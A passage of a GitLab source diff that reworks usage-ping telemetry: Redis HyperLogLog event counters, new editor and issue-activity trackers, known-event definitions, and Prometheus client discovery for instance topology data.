+ hash[event] = redis_usage_data { ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: event, start_date: 7.days.ago.to_date, end_date: Date.current) }
+ end
+
+ results['search_unique_visits_for_any_target_weekly'] = redis_usage_data { ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, start_date: 7.days.ago.to_date, end_date: Date.current) }
+ results['search_unique_visits_for_any_target_monthly'] = redis_usage_data { ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, start_date: 4.weeks.ago.to_date, end_date: Date.current) }
+
+ { search_unique_visits: results }
+ end
+
def action_monthly_active_users(time_period)
- counter = Gitlab::UsageDataCounters::TrackUniqueActions
+ date_range = { date_from: time_period[:created_at].first, date_to: time_period[:created_at].last }
- project_count = redis_usage_data do
- counter.count_unique(
- event_action: Gitlab::UsageDataCounters::TrackUniqueActions::PUSH_ACTION,
- date_from: time_period[:created_at].first,
- date_to: time_period[:created_at].last
- )
- end
+ event_monthly_active_users(date_range)
+ .merge!(ide_monthly_active_users(date_range))
+ end
- design_count = redis_usage_data do
- counter.count_unique(
- event_action: Gitlab::UsageDataCounters::TrackUniqueActions::DESIGN_ACTION,
- date_from: time_period[:created_at].first,
- date_to: time_period[:created_at].last
- )
- end
+ private
- wiki_count = redis_usage_data do
- counter.count_unique(
- event_action: Gitlab::UsageDataCounters::TrackUniqueActions::WIKI_ACTION,
- date_from: time_period[:created_at].first,
- date_to: time_period[:created_at].last
- )
+ def event_monthly_active_users(date_range)
+ data = {
+ action_monthly_active_users_project_repo: Gitlab::UsageDataCounters::TrackUniqueEvents::PUSH_ACTION,
+ action_monthly_active_users_design_management: Gitlab::UsageDataCounters::TrackUniqueEvents::DESIGN_ACTION,
+ action_monthly_active_users_wiki_repo: Gitlab::UsageDataCounters::TrackUniqueEvents::WIKI_ACTION
+ }
+
+ data.each do |key, event|
+ data[key] = redis_usage_data { Gitlab::UsageDataCounters::TrackUniqueEvents.count_unique_events(event_action: event, **date_range) }
end
+ end
+
+ def ide_monthly_active_users(date_range)
+ counter = Gitlab::UsageDataCounters::EditorUniqueCounter
{
- action_monthly_active_users_project_repo: project_count,
- action_monthly_active_users_design_management: design_count,
- action_monthly_active_users_wiki_repo: wiki_count
+ action_monthly_active_users_web_ide_edit: redis_usage_data { counter.count_web_ide_edit_actions(date_range) },
+ action_monthly_active_users_sfe_edit: redis_usage_data { counter.count_sfe_edit_actions(date_range) },
+ action_monthly_active_users_snippet_editor_edit: redis_usage_data { counter.count_snippet_editor_edit_actions(date_range) },
+ action_monthly_active_users_ide_edit: redis_usage_data { counter.count_edit_using_editor(date_range) }
}
end
- private
+ def report_snowplow_events?
+ self_monitoring_project && Feature.enabled?(:product_analytics, self_monitoring_project)
+ end
def distinct_count_service_desk_enabled_projects(time_period)
project_creator_id_start = user_minimum_id
@@ -716,6 +784,22 @@ module Gitlab
end
end
+ def project_minimum_id
+ strong_memoize(:project_minimum_id) do
+ ::Project.minimum(:id)
+ end
+ end
+
+ def project_maximum_id
+ strong_memoize(:project_maximum_id) do
+ ::Project.maximum(:id)
+ end
+ end
+
+ def self_monitoring_project
+ Gitlab::CurrentSettings.self_monitoring_project
+ end
+
def clear_memoized
clear_memoization(:issue_minimum_id)
clear_memoization(:issue_maximum_id)
@@ -726,14 +810,14 @@ module Gitlab
clear_memoization(:deployment_maximum_id)
clear_memoization(:approval_merge_request_rule_minimum_id)
clear_memoization(:approval_merge_request_rule_maximum_id)
+ clear_memoization(:project_minimum_id)
+ clear_memoization(:project_maximum_id)
end
# rubocop: disable CodeReuse/ActiveRecord
- # rubocop: disable UsageData/DistinctCountByLargeForeignKey
def cluster_applications_user_distinct_count(applications, time_period)
distinct_count(applications.where(time_period).available.joins(:cluster), 'clusters.user_id')
end
- # rubocop: enable UsageData/DistinctCountByLargeForeignKey
def clusters_user_distinct_count(clusters, time_period)
distinct_count(clusters.where(time_period), :user_id)
@@ -755,6 +839,10 @@ module Gitlab
def deployment_count(relation)
count relation, start: deployment_minimum_id, finish: deployment_maximum_id
end
+
+ def projects_imported_count(from, time_period)
+ distinct_count(::Project.imported_from(from).where(time_period), :creator_id) # rubocop: disable CodeReuse/ActiveRecord
+ end
end
end
end
diff --git a/lib/gitlab/usage_data/topology.rb b/lib/gitlab/usage_data/topology.rb
index edc4dc75750..7f7854c3eb1 100644
--- a/lib/gitlab/usage_data/topology.rb
+++ b/lib/gitlab/usage_data/topology.rb
@@ -40,9 +40,10 @@ module Gitlab
private
def topology_fetch_all_data
- with_prometheus_client(fallback: {}) do |client|
+ with_prometheus_client(fallback: {}, verify: false) do |client|
{
application_requests_per_hour: topology_app_requests_per_hour(client),
+ query_apdex_weekly_average: topology_query_apdex_weekly_average(client),
nodes: topology_node_data(client)
}.compact
end
@@ -63,6 +64,16 @@ module Gitlab
(result['value'].last.to_f * 1.hour).to_i
end
+ def topology_query_apdex_weekly_average(client)
+ result = query_safely('gitlab_usage_ping:sql_duration_apdex:ratio_rate5m', 'query_apdex', fallback: nil) do |query|
+ client.query(aggregate_one_week(query)).first
+ end
+
+ return unless result
+
+ result['value'].last.to_f
+ end
+
def topology_node_data(client)
# node-level data
by_instance_mem = topology_node_memory(client)
diff --git a/lib/gitlab/usage_data_counters/editor_unique_counter.rb b/lib/gitlab/usage_data_counters/editor_unique_counter.rb
new file mode 100644
index 00000000000..b68d50ee419
--- /dev/null
+++ b/lib/gitlab/usage_data_counters/editor_unique_counter.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module UsageDataCounters
+ module EditorUniqueCounter
+ EDIT_BY_SNIPPET_EDITOR = 'g_edit_by_snippet_ide'
+ EDIT_BY_SFE = 'g_edit_by_sfe'
+ EDIT_BY_WEB_IDE = 'g_edit_by_web_ide'
+ EDIT_CATEGORY = 'ide_edit'
+
+ class << self
+ def track_web_ide_edit_action(author:, time: Time.zone.now)
+ track_unique_action(EDIT_BY_WEB_IDE, author, time)
+ end
+
+ def count_web_ide_edit_actions(date_from:, date_to:)
+ count_unique(EDIT_BY_WEB_IDE, date_from, date_to)
+ end
+
+ def track_sfe_edit_action(author:, time: Time.zone.now)
+ track_unique_action(EDIT_BY_SFE, author, time)
+ end
+
+ def count_sfe_edit_actions(date_from:, date_to:)
+ count_unique(EDIT_BY_SFE, date_from, date_to)
+ end
+
+ def track_snippet_editor_edit_action(author:, time: Time.zone.now)
+ track_unique_action(EDIT_BY_SNIPPET_EDITOR, author, time)
+ end
+
+ def count_snippet_editor_edit_actions(date_from:, date_to:)
+ count_unique(EDIT_BY_SNIPPET_EDITOR, date_from, date_to)
+ end
+
+ def count_edit_using_editor(date_from:, date_to:)
+ events = Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category(EDIT_CATEGORY)
+ count_unique(events, date_from, date_to)
+ end
+
+ private
+
+ def track_unique_action(action, author, time)
+ return unless Feature.enabled?(:track_editor_edit_actions, default_enabled: true)
+ return unless author
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(author.id, action, time)
+ end
+
+ def count_unique(actions, date_from, date_to)
+ Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: actions, start_date: date_from, end_date: date_to)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage_data_counters/hll_redis_counter.rb b/lib/gitlab/usage_data_counters/hll_redis_counter.rb
index c9c39225068..53bf6daea4c 100644
--- a/lib/gitlab/usage_data_counters/hll_redis_counter.rb
+++ b/lib/gitlab/usage_data_counters/hll_redis_counter.rb
@@ -31,7 +31,11 @@ module Gitlab
# * Track event: Gitlab::UsageDataCounters::HLLRedisCounter.track_event(user_id, 'g_compliance_dashboard')
# * Get unique counts per user: Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: 'g_compliance_dashboard', start_date: 28.days.ago, end_date: Date.current)
class << self
+ include Gitlab::Utils::UsageData
+
def track_event(entity_id, event_name, time = Time.zone.now)
+ return unless Gitlab::CurrentSettings.usage_ping_enabled?
+
event = event_for(event_name)
raise UnknownEvent.new("Unknown event #{event_name}") unless event.present?
@@ -50,15 +54,51 @@ module Gitlab
keys = keys_for_aggregation(aggregation, events: events, start_date: start_date, end_date: end_date)
- Gitlab::Redis::HLL.count(keys: keys)
+ redis_usage_data { Gitlab::Redis::HLL.count(keys: keys) }
+ end
+
+ def categories
+ @categories ||= known_events.map { |event| event[:category] }.uniq
end
+ # @param category [String] the category name
+ # @return [Array<String>] list of event names for given category
def events_for_category(category)
- known_events.select { |event| event[:category] == category }.map { |event| event[:name] }
+ known_events.select { |event| event[:category] == category.to_s }.map { |event| event[:name] }
+ end
+
+ def unique_events_data
+ categories.each_with_object({}) do |category, category_results|
+ events_names = events_for_category(category)
+
+ event_results = events_names.each_with_object({}) do |event, hash|
+ hash[event] = unique_events(event_names: event, start_date: 7.days.ago.to_date, end_date: Date.current)
+ end
+
+ if eligible_for_totals?(events_names)
+ event_results["#{category}_total_unique_counts_weekly"] = unique_events(event_names: events_names, start_date: 7.days.ago.to_date, end_date: Date.current)
+ event_results["#{category}_total_unique_counts_monthly"] = unique_events(event_names: events_names, start_date: 4.weeks.ago.to_date, end_date: Date.current)
+ end
+
+ category_results["#{category}"] = event_results
+ end
+ end
+
+ def known_event?(event_name)
+ event_for(event_name).present?
end
private
+ # Allow to add totals for events that are in the same redis slot, category and have the same aggregation level
+ # and if there are more than 1 event
+ def eligible_for_totals?(events_names)
+ return false if events_names.size <= 1
+
+ events = events_for(events_names)
+ events_in_same_slot?(events) && events_in_same_category?(events) && events_same_aggregation?(events)
+ end
+
def keys_for_aggregation(aggregation, events:, start_date:, end_date:)
if aggregation.to_sym == :daily
daily_redis_keys(events: events, start_date: start_date, end_date: end_date)
@@ -76,8 +116,11 @@ module Gitlab
end
def events_in_same_slot?(events)
+ # if we check one event then redis_slot is only one to check
+ return true if events.size == 1
+
slot = events.first[:redis_slot]
- events.all? { |event| event[:redis_slot] == slot }
+ events.all? { |event| event[:redis_slot].present? && event[:redis_slot] == slot }
end
def events_in_same_category?(events)
@@ -91,7 +134,7 @@ module Gitlab
end
def expiry(event)
- return event[:expiry] if event[:expiry].present?
+ return event[:expiry].days if event[:expiry].present?
event[:aggregation].to_sym == :daily ? DEFAULT_DAILY_KEY_EXPIRY_LENGTH : DEFAULT_WEEKLY_KEY_EXPIRY_LENGTH
end
diff --git a/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb b/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb
new file mode 100644
index 00000000000..fc1b5a59487
--- /dev/null
+++ b/lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module UsageDataCounters
+ module IssueActivityUniqueCounter
+ ISSUE_TITLE_CHANGED = 'g_project_management_issue_title_changed'
+ ISSUE_DESCRIPTION_CHANGED = 'g_project_management_issue_description_changed'
+ ISSUE_ASSIGNEE_CHANGED = 'g_project_management_issue_assignee_changed'
+ ISSUE_MADE_CONFIDENTIAL = 'g_project_management_issue_made_confidential'
+ ISSUE_MADE_VISIBLE = 'g_project_management_issue_made_visible'
+ ISSUE_CATEGORY = 'issues_edit'
+
+ class << self
+ def track_issue_title_changed_action(author:, time: Time.zone.now)
+ track_unique_action(ISSUE_TITLE_CHANGED, author, time)
+ end
+
+ def track_issue_description_changed_action(author:, time: Time.zone.now)
+ track_unique_action(ISSUE_DESCRIPTION_CHANGED, author, time)
+ end
+
+ def track_issue_assignee_changed_action(author:, time: Time.zone.now)
+ track_unique_action(ISSUE_ASSIGNEE_CHANGED, author, time)
+ end
+
+ def track_issue_made_confidential_action(author:, time: Time.zone.now)
+ track_unique_action(ISSUE_MADE_CONFIDENTIAL, author, time)
+ end
+
+ def track_issue_made_visible_action(author:, time: Time.zone.now)
+ track_unique_action(ISSUE_MADE_VISIBLE, author, time)
+ end
+
+ private
+
+ def track_unique_action(action, author, time)
+ return unless Feature.enabled?(:track_issue_activity_actions)
+ return unless author
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(author.id, action, time)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage_data_counters/known_events.yml b/lib/gitlab/usage_data_counters/known_events.yml
index b7e516fa8b1..25e7f858bb1 100644
--- a/lib/gitlab/usage_data_counters/known_events.yml
+++ b/lib/gitlab/usage_data_counters/known_events.yml
@@ -3,86 +3,206 @@
- name: g_compliance_dashboard
redis_slot: compliance
category: compliance
- expiry: 84 # expiration time in days, equivalent to 12 weeks
aggregation: weekly
- name: g_compliance_audit_events
category: compliance
redis_slot: compliance
- expiry: 84
aggregation: weekly
- name: i_compliance_audit_events
category: compliance
redis_slot: compliance
- expiry: 84
aggregation: weekly
- name: i_compliance_credential_inventory
category: compliance
redis_slot: compliance
- expiry: 84
+ aggregation: weekly
+- name: a_compliance_audit_events_api
+ category: compliance
+ redis_slot: compliance
aggregation: weekly
# Analytics category
- name: g_analytics_contribution
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: g_analytics_insights
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: g_analytics_issues
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: g_analytics_productivity
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: g_analytics_valuestream
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: p_analytics_pipelines
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: p_analytics_code_reviews
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: p_analytics_valuestream
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: p_analytics_insights
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: p_analytics_issues
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: p_analytics_repo
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: i_analytics_cohorts
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
- name: i_analytics_dev_ops_score
category: analytics
redis_slot: analytics
- expiry: 84
aggregation: weekly
+- name: g_analytics_merge_request
+ category: analytics
+ redis_slot: analytics
+ aggregation: weekly
+- name: p_analytics_merge_request
+ category: analytics
+ redis_slot: analytics
+ aggregation: weekly
+- name: i_analytics_instance_statistics
+ category: analytics
+ redis_slot: analytics
+ aggregation: weekly
+- name: g_edit_by_web_ide
+ category: ide_edit
+ redis_slot: edit
+ expiry: 29
+ aggregation: daily
+- name: g_edit_by_sfe
+ category: ide_edit
+ redis_slot: edit
+ expiry: 29
+ aggregation: daily
+- name: g_edit_by_snippet_ide
+ category: ide_edit
+ redis_slot: edit
+ expiry: 29
+ aggregation: daily
+- name: i_search_total
+ category: search
+ redis_slot: search
+ aggregation: weekly
+- name: i_search_advanced
+ category: search
+ redis_slot: search
+ aggregation: weekly
+- name: i_search_paid
+ category: search
+ redis_slot: search
+ aggregation: weekly
+- name: wiki_action
+ category: source_code
+ aggregation: daily
+- name: design_action
+ category: source_code
+ aggregation: daily
+- name: project_action
+ category: source_code
+ aggregation: daily
+- name: merge_request_action
+ category: source_code
+ aggregation: daily
+- name: i_source_code_code_intelligence
+ redis_slot: source_code
+ category: source_code
+ aggregation: daily
+# Incident management
+- name: incident_management_alert_status_changed
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_alert_assigned
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_alert_todo
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_created
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_reopened
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_closed
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_assigned
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_todo
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_comment
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_zoom_meeting
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_published
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_relate
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_unrelate
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+- name: incident_management_incident_change_confidential
+ redis_slot: incident_management
+ category: incident_management
+ aggregation: weekly
+# Project Management group
+- name: g_project_management_issue_title_changed
+ category: issues_edit
+ redis_slot: project_management
+ aggregation: daily
+- name: g_project_management_issue_description_changed
+ category: issues_edit
+ redis_slot: project_management
+ aggregation: daily
+- name: g_project_management_issue_assignee_changed
+ category: issues_edit
+ redis_slot: project_management
+ aggregation: daily
+- name: g_project_management_issue_made_confidential
+ category: issues_edit
+ redis_slot: project_management
+ aggregation: daily
+- name: g_project_management_issue_made_visible
+ category: issues_edit
+ redis_slot: project_management
+ aggregation: daily
diff --git a/lib/gitlab/usage_data_counters/kubernetes_agent_counter.rb b/lib/gitlab/usage_data_counters/kubernetes_agent_counter.rb
new file mode 100644
index 00000000000..eae42bdc4a1
--- /dev/null
+++ b/lib/gitlab/usage_data_counters/kubernetes_agent_counter.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module UsageDataCounters
+ class KubernetesAgentCounter < BaseCounter
+ PREFIX = 'kubernetes_agent'
+ KNOWN_EVENTS = %w[gitops_sync].freeze
+
+ class << self
+ def increment_gitops_sync(incr)
+ raise ArgumentError, 'must be greater than or equal to zero' if incr < 0
+
+ # rather then hitting redis for this no-op, we return early
+ # note: redis returns the increment, so we mimic this here
+ return 0 if incr == 0
+
+ increment_by(redis_key(:gitops_sync), incr)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage_data_counters/redis_counter.rb b/lib/gitlab/usage_data_counters/redis_counter.rb
index 75d5a75e3a4..2406f771fd8 100644
--- a/lib/gitlab/usage_data_counters/redis_counter.rb
+++ b/lib/gitlab/usage_data_counters/redis_counter.rb
@@ -9,6 +9,12 @@ module Gitlab
Gitlab::Redis::SharedState.with { |redis| redis.incr(redis_counter_key) }
end
+ def increment_by(redis_counter_key, incr)
+ return unless Gitlab::CurrentSettings.usage_ping_enabled
+
+ Gitlab::Redis::SharedState.with { |redis| redis.incrby(redis_counter_key, incr) }
+ end
+
def total_count(redis_counter_key)
Gitlab::Redis::SharedState.with { |redis| redis.get(redis_counter_key).to_i }
end
diff --git a/lib/gitlab/usage_data_counters/track_unique_actions.rb b/lib/gitlab/usage_data_counters/track_unique_actions.rb
deleted file mode 100644
index 0df982572a4..00000000000
--- a/lib/gitlab/usage_data_counters/track_unique_actions.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module UsageDataCounters
- module TrackUniqueActions
- KEY_EXPIRY_LENGTH = 29.days
-
- WIKI_ACTION = :wiki_action
- DESIGN_ACTION = :design_action
- PUSH_ACTION = :project_action
-
- ACTION_TRANSFORMATIONS = HashWithIndifferentAccess.new({
- wiki: {
- created: WIKI_ACTION,
- updated: WIKI_ACTION,
- destroyed: WIKI_ACTION
- },
- design: {
- created: DESIGN_ACTION,
- updated: DESIGN_ACTION,
- destroyed: DESIGN_ACTION
- },
- project: {
- pushed: PUSH_ACTION
- }
- }).freeze
-
- class << self
- def track_event(event_action:, event_target:, author_id:, time: Time.zone.now)
- return unless Gitlab::CurrentSettings.usage_ping_enabled
- return unless valid_target?(event_target)
- return unless valid_action?(event_action)
-
- transformed_target = transform_target(event_target)
- transformed_action = transform_action(event_action, transformed_target)
- target_key = key(transformed_action, time)
-
- Gitlab::Redis::HLL.add(key: target_key, value: author_id, expiry: KEY_EXPIRY_LENGTH)
- end
-
- def count_unique(event_action:, date_from:, date_to:)
- keys = (date_from.to_date..date_to.to_date).map { |date| key(event_action, date) }
-
- Gitlab::Redis::HLL.count(keys: keys)
- end
-
- private
-
- def transform_action(event_action, event_target)
- ACTION_TRANSFORMATIONS.dig(event_target, event_action) || event_action
- end
-
- def transform_target(event_target)
- Event::TARGET_TYPES.key(event_target)
- end
-
- def valid_target?(target)
- Event::TARGET_TYPES.value?(target)
- end
-
- def valid_action?(action)
- Event.actions.key?(action)
- end
-
- def key(event_action, date)
- year_day = date.strftime('%G-%j')
- "#{year_day}-{#{event_action}}"
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/usage_data_counters/track_unique_events.rb b/lib/gitlab/usage_data_counters/track_unique_events.rb
new file mode 100644
index 00000000000..7053744b665
--- /dev/null
+++ b/lib/gitlab/usage_data_counters/track_unique_events.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module UsageDataCounters
+ module TrackUniqueEvents
+ WIKI_ACTION = :wiki_action
+ DESIGN_ACTION = :design_action
+ PUSH_ACTION = :project_action
+ MERGE_REQUEST_ACTION = :merge_request_action
+
+ ACTION_TRANSFORMATIONS = HashWithIndifferentAccess.new({
+ wiki: {
+ created: WIKI_ACTION,
+ updated: WIKI_ACTION,
+ destroyed: WIKI_ACTION
+ },
+ design: {
+ created: DESIGN_ACTION,
+ updated: DESIGN_ACTION,
+ destroyed: DESIGN_ACTION
+ },
+ project: {
+ pushed: PUSH_ACTION
+ },
+ merge_request: {
+ closed: MERGE_REQUEST_ACTION,
+ merged: MERGE_REQUEST_ACTION,
+ created: MERGE_REQUEST_ACTION,
+ commented: MERGE_REQUEST_ACTION
+ }
+ }).freeze
+
+ class << self
+ def track_event(event_action:, event_target:, author_id:, time: Time.zone.now)
+ return unless valid_target?(event_target)
+ return unless valid_action?(event_action)
+
+ transformed_target = transform_target(event_target)
+ transformed_action = transform_action(event_action, transformed_target)
+
+ return unless Gitlab::UsageDataCounters::HLLRedisCounter.known_event?(transformed_action.to_s)
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(author_id, transformed_action.to_s, time)
+ end
+
+ def count_unique_events(event_action:, date_from:, date_to:)
+ Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: event_action.to_s, start_date: date_from, end_date: date_to)
+ end
+
+ private
+
+ def transform_action(event_action, event_target)
+ ACTION_TRANSFORMATIONS.dig(event_target, event_action) || event_action
+ end
+
+ def transform_target(event_target)
+ Event::TARGET_TYPES.key(event_target)
+ end
+
+ def valid_target?(target)
+ Event::TARGET_TYPES.value?(target)
+ end
+
+ def valid_action?(action)
+ Event.actions.key?(action)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage_data_queries.rb b/lib/gitlab/usage_data_queries.rb
new file mode 100644
index 00000000000..bacd63ab282
--- /dev/null
+++ b/lib/gitlab/usage_data_queries.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Gitlab
+ # This class is used by the `gitlab:usage_data:dump_sql` rake tasks to output SQL instead of running it.
+ # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41091
+ class UsageDataQueries < UsageData
+ class << self
+ def count(relation, column = nil, *rest)
+ raw_sql(relation, column)
+ end
+
+ def distinct_count(relation, column = nil, *rest)
+ raw_sql(relation, column, :distinct)
+ end
+
+ def redis_usage_data(counter = nil, &block)
+ if block_given?
+ { redis_usage_data_block: block.to_s }
+ elsif counter.present?
+ { redis_usage_data_counter: counter }
+ end
+ end
+
+ def sum(relation, column, *rest)
+ relation.select(relation.all.table[column].sum).to_sql # rubocop:disable CodeReuse/ActiveRecord
+ end
+
+ private
+
+ def raw_sql(relation, column, distinct = nil)
+ column ||= relation.primary_key
+ relation.select(relation.all.table[column].count(distinct)).to_sql
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/utils/gzip.rb b/lib/gitlab/utils/gzip.rb
new file mode 100644
index 00000000000..898be651554
--- /dev/null
+++ b/lib/gitlab/utils/gzip.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Utils
+ module Gzip
+ def gzip_compress(data)
+ # .compress returns ASCII-8BIT, so we need to force the encoding to
+ # UTF-8 before caching it in redis, else we risk encoding mismatch
+ # errors.
+ #
+ ActiveSupport::Gzip.compress(data).force_encoding("UTF-8")
+ rescue Zlib::GzipFile::Error
+ data
+ end
+
+ def gzip_decompress(data)
+ # Since we could be dealing with an already populated cache full of data
+ # that isn't gzipped, we want to also check to see if the data is
+ # gzipped before we attempt to .decompress it, thus we check the first
+ # 2 bytes for "\x1F\x8B" to confirm it is a gzipped string. While a
+ # non-gzipped string will raise a Zlib::GzipFile::Error, which we're
+ # rescuing, we don't want to count on rescue for control flow.
+ #
+ data[0..1] == "\x1F\x8B" ? ActiveSupport::Gzip.decompress(data) : data
+ rescue Zlib::GzipFile::Error
+ data
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/utils/markdown.rb b/lib/gitlab/utils/markdown.rb
index 82c4a0e3b23..e783ac785cc 100644
--- a/lib/gitlab/utils/markdown.rb
+++ b/lib/gitlab/utils/markdown.rb
@@ -4,11 +4,13 @@ module Gitlab
module Utils
module Markdown
PUNCTUATION_REGEXP = /[^\p{Word}\- ]/u.freeze
+ PRODUCT_SUFFIX = /\s*\**\((core|starter|premium|ultimate)(\s+only)?\)\**/.freeze
def string_to_anchor(string)
string
.strip
.downcase
+ .gsub(PRODUCT_SUFFIX, '')
.gsub(PUNCTUATION_REGEXP, '') # remove punctuation
.tr(' ', '-') # replace spaces with dash
.squeeze('-') # replace multiple dashes with one
diff --git a/lib/gitlab/utils/usage_data.rb b/lib/gitlab/utils/usage_data.rb
index 36046ca14bf..ca6a36c9cea 100644
--- a/lib/gitlab/utils/usage_data.rb
+++ b/lib/gitlab/utils/usage_data.rb
@@ -59,6 +59,12 @@ module Gitlab
FALLBACK
end
+ def sum(relation, column, batch_size: nil, start: nil, finish: nil)
+ Gitlab::Database::BatchCount.batch_sum(relation, column, batch_size: batch_size, start: start, finish: finish)
+ rescue ActiveRecord::StatementInvalid
+ FALLBACK
+ end
+
def alt_usage_data(value = nil, fallback: FALLBACK, &block)
if block_given?
yield
@@ -77,11 +83,11 @@ module Gitlab
end
end
- def with_prometheus_client(fallback: nil)
- return fallback unless Gitlab::Prometheus::Internal.prometheus_enabled?
+ def with_prometheus_client(fallback: nil, verify: true)
+ client = prometheus_client(verify: verify)
+ return fallback unless client
- prometheus_address = Gitlab::Prometheus::Internal.uri
- yield Gitlab::PrometheusClient.new(prometheus_address, allow_local_requests: true)
+ yield client
end
def measure_duration
@@ -96,8 +102,41 @@ module Gitlab
yield.merge(key => Time.current)
end
+ # @param event_name [String] the event name
+ # @param values [Array|String] the values counted
+ def track_usage_event(event_name, values)
+ return unless Feature.enabled?(:"usage_data_#{event_name}", default_enabled: true)
+ return unless Gitlab::CurrentSettings.usage_ping_enabled?
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(values, event_name.to_s)
+ end
+
private
+ def prometheus_client(verify:)
+ server_address = prometheus_server_address
+
+ return unless server_address
+
+ # There really is not a way to discover whether a Prometheus connection is using TLS or not
+ # Try TLS first because HTTPS will return fast if failed.
+ %w[https http].find do |scheme|
+ api_url = "#{scheme}://#{server_address}"
+ client = Gitlab::PrometheusClient.new(api_url, allow_local_requests: true, verify: verify)
+ break client if client.ready?
+ rescue
+ nil
+ end
+ end
+
+ def prometheus_server_address
+ if Gitlab::Prometheus::Internal.prometheus_enabled?
+ Gitlab::Prometheus::Internal.server_address
+ elsif Gitlab::Consul::Internal.api_url
+ Gitlab::Consul::Internal.discover_prometheus_server_address
+ end
+ end
+
def redis_usage_counter
yield
rescue ::Redis::CommandError, Gitlab::UsageDataCounters::BaseCounter::UnknownEvent
diff --git a/lib/gitlab/web_ide/config.rb b/lib/gitlab/web_ide/config.rb
index 3b1fa162b53..b2ab5c0b6e3 100644
--- a/lib/gitlab/web_ide/config.rb
+++ b/lib/gitlab/web_ide/config.rb
@@ -34,6 +34,10 @@ module Gitlab
@global.terminal_value
end
+ def schemas_value
+ @global.schemas_value
+ end
+
private
def build_config(config, opts = {})
diff --git a/lib/gitlab/web_ide/config/entry/global.rb b/lib/gitlab/web_ide/config/entry/global.rb
index 50c3f2d294f..2c67c7d02d4 100644
--- a/lib/gitlab/web_ide/config/entry/global.rb
+++ b/lib/gitlab/web_ide/config/entry/global.rb
@@ -12,18 +12,22 @@ module Gitlab
include ::Gitlab::Config::Entry::Configurable
include ::Gitlab::Config::Entry::Attributable
- ALLOWED_KEYS = %i[terminal].freeze
+ def self.allowed_keys
+ %i[terminal].freeze
+ end
validations do
- validates :config, allowed_keys: ALLOWED_KEYS
+ validates :config, allowed_keys: Global.allowed_keys
end
+ attributes allowed_keys
+
entry :terminal, Entry::Terminal,
description: 'Configuration of the webide terminal.'
-
- attributes :terminal
end
end
end
end
end
+
+::Gitlab::WebIde::Config::Entry::Global.prepend_if_ee('EE::Gitlab::WebIde::Config::Entry::Global')
diff --git a/lib/gitlab/workhorse.rb b/lib/gitlab/workhorse.rb
index e3b1cb3d016..8a5acd242d9 100644
--- a/lib/gitlab/workhorse.rb
+++ b/lib/gitlab/workhorse.rb
@@ -156,10 +156,11 @@ module Gitlab
]
end
- def send_scaled_image(location, width)
+ def send_scaled_image(location, width, content_type)
params = {
'Location' => location,
- 'Width' => width
+ 'Width' => width,
+ 'ContentType' => content_type
}
[
diff --git a/lib/gitlab_danger.rb b/lib/gitlab_danger.rb
index a98ac9200da..a906beda80e 100644
--- a/lib/gitlab_danger.rb
+++ b/lib/gitlab_danger.rb
